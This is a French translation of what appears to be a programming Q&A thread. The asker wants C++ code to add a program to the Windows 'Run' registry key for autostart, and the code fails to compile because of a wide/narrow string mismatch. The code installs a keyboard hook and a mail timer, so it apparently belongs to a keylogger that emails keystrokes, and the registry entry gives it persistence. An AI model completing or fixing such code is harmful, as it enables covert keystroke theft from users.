J'ai un problème avec du code C++. Pour être plus précis, je veux que le programme qui est en cours d'exécution pour enregistrer une clé de Registre pour le démarrage automatique lorsque Windows démarre.
Le reste du code est placé dans un autre en-tête et je pense que vous n'en avez pas besoin.Problème de clé de registre C++
#include <iostream>
#include <windows.h>
#include "KeybHook.h"
using namespace std;
int main()
{
MSG Msg;
IO::MkDir (IO::GetOurPath (true));
InstalHook();
while (GetMessage (&Msg, NULL, 0, 0))
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
MailTimer.Stop();
std::wstring progPath = L"C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\MyApp.exe";
HKEY hkey = NULL;
LONG createStatus = RegCreateKey(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); //Creates a key
LONG status = RegSetValueEx(hkey, L"MyApp", 0, REG_SZ, (BYTE *)progPath.c_str(), (progPath.size()+1) * sizeof(wchar_t));
return 0;
}
Et je reçois cette erreur à la compilation
main.cpp||In function 'int main()':|
main.cpp|35|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegCreateKeyA(HKEY, LPCSTR, PHKEY)'|
main.cpp|36|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegSetValueExA(HKEY, LPCSTR, DWORD, DWORD, const BYTE*, DWORD)'|
||=== Build failed: 2 error(s), 8 warning(s) (0 minute(s), 1 second(s)) ===|
Une raison spécifique d'utiliser 'wstring' au lieu de' string'? – Arash
@Arash Windows utilise UTF-16, donc 'wstring' est la façon dont vous obtenez le support Unicode. – MrEricSir
Avez-vous lu le message d'erreur? N'a pas expliqué le problème? –